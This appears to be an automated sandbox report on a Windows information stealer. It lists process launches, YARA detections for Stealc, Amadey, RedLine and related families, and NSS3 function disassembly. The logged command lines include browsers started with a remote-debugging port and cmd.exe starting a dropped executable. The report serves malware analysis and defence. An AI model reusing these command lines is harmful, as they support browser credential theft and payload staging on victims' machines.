32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:05 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:35:06 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:35:06 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: ca68633c-201e-006e-1f8a-3fbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153506Z-174f7845968pf68xhC1EWRr4h80000000xfg000000000q27 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:35:06 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Target ID:	1
Start time:	10:34:10
Start date:	27/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5d0000
File size:	1'795'072 bytes
MD5 hash:	6DE40364436AE2851113DDD37A229F5C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1821449773.00000000011EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1818898702.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000003.1275692336.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:34:22
Start date:	27/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:34:24
Start date:	27/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=1964,i,16722737202866624989,9051620058126732953,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:32:53
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:32:54
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2516 --field-trial-handle=2364,i,5434323620471502482,10851786949880937597,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:32:54
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	12:32:54
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2756 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	12:33:00
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6616 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:33:00
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6924 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	12:33:23
Start date:	27/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBGDBAKFCFH.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:33:23
Start date:	27/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:33:23
Start date:	27/11/2024
Path:	C:\Users\user\DocumentsBGDBAKFCFH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsBGDBAKFCFH.exe"
Imagebase:	0x40000
File size:	1'917'952 bytes
MD5 hash:	97B4FBF9CB7856775C90B74A77FE10DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.1866951903.0000000000041000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.1824805973.0000000004840000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:33:28
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x380000
File size:	1'917'952 bytes
MD5 hash:	97B4FBF9CB7856775C90B74A77FE10DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.1913348703.0000000000381000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000003.1872657895.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	12:33:29
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x380000
File size:	1'917'952 bytes
MD5 hash:	97B4FBF9CB7856775C90B74A77FE10DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.1926085427.0000000000381000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.1885321979.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	12:33:54
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6876 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	12:34:00
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x380000
File size:	1'917'952 bytes
MD5 hash:	97B4FBF9CB7856775C90B74A77FE10DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.2537034040.0000000000381000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000003.2190575864.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	12:34:17
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009625001\unik.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009625001\unik.exe"
Imagebase:	0x400000
File size:	2'014'720 bytes
MD5 hash:	8D4744784B89BF2C1AFFB083790FDC88
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000022.00000002.2537288977.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000022.00000003.2356321988.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000022.00000002.2554694289.0000000004940000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000022.00000002.2554694289.0000000004940000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000022.00000002.2554372080.00000000047B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 24%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	12:34:29
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009635001\d4a6d0bce7.exe"
Imagebase:	0xd80000
File size:	4'424'704 bytes
MD5 hash:	748842603D32E03ECDDF19F9DD75EB1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 26%, ReversingLabs
Has exited:	false

Show Windows behavior

Function 6CE56E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFA2120,6CE57E60), ref: 6CE56EBC
TlsGetValue.KERNEL32 ref: 6CE56EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE56EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CE56F25

Part of subcall function 6CE2A900: TlsGetValue.KERNEL32(00000000,?,6CFA14E4,?,6CDC4DD9), ref: 6CE2A90F
Part of subcall function 6CE2A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE2A94F

PR_Unlock.NSS3 ref: 6CE56F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CE56FA9
TlsGetValue.KERNEL32 ref: 6CE570B4
EnterCriticalSection.KERNEL32(?), ref: 6CE570C8
PR_CallOnce.NSS3(6CFA24C0,6CE97590), ref: 6CE57104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE57117
SECOID_Init.NSS3 ref: 6CE57128
PORT_Alloc_Util.NSS3(00000057), ref: 6CE5714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE5717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE571A9
PR_NotifyAllCondVar.NSS3 ref: 6CE571CF
PR_Unlock.NSS3 ref: 6CE571DD
free.MOZGLUE(?), ref: 6CE571EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE57208
free.MOZGLUE(00000000), ref: 6CE57221
free.MOZGLUE(00000001), ref: 6CE57235
TlsGetValue.KERNEL32 ref: 6CE5724A
EnterCriticalSection.KERNEL32(?), ref: 6CE5725E
PR_NotifyCondVar.NSS3 ref: 6CE57273
PR_Unlock.NSS3 ref: 6CE57281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE57291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE572B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE572D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE572E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE57301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE57310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE57335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE57344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE57363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE57372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CF90148,,defaultModDB,internalKeySlot), ref: 6CE574CC
free.MOZGLUE(00000000), ref: 6CE57513
free.MOZGLUE(00000000), ref: 6CE5751B
free.MOZGLUE(00000000), ref: 6CE57528
free.MOZGLUE(00000000), ref: 6CE5753C
free.MOZGLUE(00000000), ref: 6CE57550
free.MOZGLUE(00000000), ref: 6CE57561
free.MOZGLUE(00000000), ref: 6CE57572
free.MOZGLUE(00000000), ref: 6CE57583
free.MOZGLUE(00000000), ref: 6CE57594
free.MOZGLUE(00000000), ref: 6CE575A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CE575BD
free.MOZGLUE(00000000), ref: 6CE575C8
free.MOZGLUE(00000000), ref: 6CE575F1
PR_NewLock.NSS3 ref: 6CE57636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE57686
PR_NewLock.NSS3 ref: 6CE576A2

Part of subcall function 6CF098D0: calloc.MOZGLUE(00000001,00000084,6CE30936,00000001,?,6CE3102C), ref: 6CF098E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CE576B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CE57707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CE5771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CE57731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CE5774A
DeleteCriticalSection.KERNEL32(?), ref: 6CE57770
free.MOZGLUE(?), ref: 6CE57779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE5779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE577AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CE577C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE577DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CE57821
PORT_Alloc_Util.NSS3(?), ref: 6CE57837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CE5785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE5786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CE578AC
free.MOZGLUE(00000000), ref: 6CE578BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CE578F3
free.MOZGLUE(00000000), ref: 6CE578FC
free.MOZGLUE(00000000), ref: 6CE5791C

Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307AD
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307CD
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307D6
Part of subcall function 6CE307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDC204A), ref: 6CE307E4
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,6CDC204A), ref: 6CE30864
Part of subcall function 6CE307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE30880
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,6CDC204A), ref: 6CE308CB
Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(?,?,6CDC204A), ref: 6CE308D7
Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(?,?,6CDC204A), ref: 6CE308FB

Strings

name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CE574C7
extern:, xrefs: 6CE5772B
sql:, xrefs: 6CE576FE
dbm:, xrefs: 6CE57716
dll, xrefs: 6CE5788E
rdb:, xrefs: 6CE57744
NSS Internal Module, xrefs: 6CE574A2, 6CE574C6
kbi., xrefs: 6CE57886
,defaultModDB,internalKeySlot, xrefs: 6CE5748D, 6CE574AA
Spac, xrefs: 6CE57389

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: aa47b3ebc5050ebdf523e265b9c8db48869cf3dae42b7aa5dab2bfa77d481447
Instruction ID: 74d29accfa7d9f5271c7be1f8663a8ca9a49e492f5dadcdcce7afe7c3c745fd4
Opcode Fuzzy Hash: aa47b3ebc5050ebdf523e265b9c8db48869cf3dae42b7aa5dab2bfa77d481447
Instruction Fuzzy Hash: 395214B1E212019BEF119FA5DC0579EBBB4AF0630CF658028ED09A7B41E772D974CB91

Function 6CE7BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CE7C0C8

Part of subcall function 6CF09440: LeaveCriticalSection.KERNEL32 ref: 6CF095CD
Part of subcall function 6CF09440: TlsGetValue.KERNEL32 ref: 6CF09622
Part of subcall function 6CF09440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CF0964E

PR_EnterMonitor.NSS3 ref: 6CE7C0AE

Part of subcall function 6CF09090: LeaveCriticalSection.KERNEL32 ref: 6CF091AA
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF09212
Part of subcall function 6CF09090: _PR_MD_WAIT_CV.NSS3 ref: 6CF0926B

Part of subcall function 6CE30600: GetLastError.KERNEL32(?,?,?,?,?,6CE305E2), ref: 6CE30642
Part of subcall function 6CE30600: TlsGetValue.KERNEL32(?,?,?,?,?,6CE305E2), ref: 6CE3065D
Part of subcall function 6CE30600: GetLastError.KERNEL32 ref: 6CE30678
Part of subcall function 6CE30600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CE3068A
Part of subcall function 6CE30600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE30693
Part of subcall function 6CE30600: PR_SetErrorText.NSS3(00000000,?), ref: 6CE3069D
Part of subcall function 6CE30600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,78572F06,?,?,?,?,?,6CE305E2), ref: 6CE306CA
Part of subcall function 6CE30600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CE305E2), ref: 6CE306E6

PR_EnterMonitor.NSS3 ref: 6CE7C0F2
PR_ExitMonitor.NSS3 ref: 6CE7C10E
PR_ExitMonitor.NSS3 ref: 6CE7C081

Part of subcall function 6CF09440: TlsGetValue.KERNEL32 ref: 6CF0945B
Part of subcall function 6CF09440: TlsGetValue.KERNEL32 ref: 6CF09479
Part of subcall function 6CF09440: EnterCriticalSection.KERNEL32 ref: 6CF09495
Part of subcall function 6CF09440: TlsGetValue.KERNEL32 ref: 6CF094E4
Part of subcall function 6CF09440: TlsGetValue.KERNEL32 ref: 6CF09532
Part of subcall function 6CF09440: LeaveCriticalSection.KERNEL32 ref: 6CF0955D

PR_EnterMonitor.NSS3 ref: 6CE7C068

Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090AB
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090C9
Part of subcall function 6CF09090: EnterCriticalSection.KERNEL32 ref: 6CF090E5
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF09116
Part of subcall function 6CF09090: LeaveCriticalSection.KERNEL32 ref: 6CF0913F

Part of subcall function 6CE30600: GetProcAddress.KERNEL32(?,?), ref: 6CE30623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CE7C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CE7C183
free.MOZGLUE(00000000), ref: 6CE7C18E
PR_LoadLibrary.NSS3(?), ref: 6CE7C1A3
PR_EnterMonitor.NSS3 ref: 6CE7C1D4
PR_ExitMonitor.NSS3 ref: 6CE7C1F3
PR_CallOnce.NSS3(6CFA2318,6CE7CA70), ref: 6CE7C210
PR_EnterMonitor.NSS3 ref: 6CE7C22B
PR_ExitMonitor.NSS3 ref: 6CE7C247
PR_EnterMonitor.NSS3 ref: 6CE7C26A
PR_ExitMonitor.NSS3 ref: 6CE7C287
PR_UnloadLibrary.NSS3(?), ref: 6CE7C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CE7C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE7C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CE7C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CE7C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CE7C7B5
PR_UnloadLibrary.NSS3(?), ref: 6CE7C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CE7C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE7C8BF
PORT_Alloc_Util.NSS3(?), ref: 6CE7C8D5
free.MOZGLUE(00000000), ref: 6CE7C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE7C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE7C9E5
free.MOZGLUE(00000000), ref: 6CE7CA5A

Strings

NSS_ReturnModuleSpecData, xrefs: 6CE7C275
Vendor NSS FIPS Interface, xrefs: 6CE7C34A
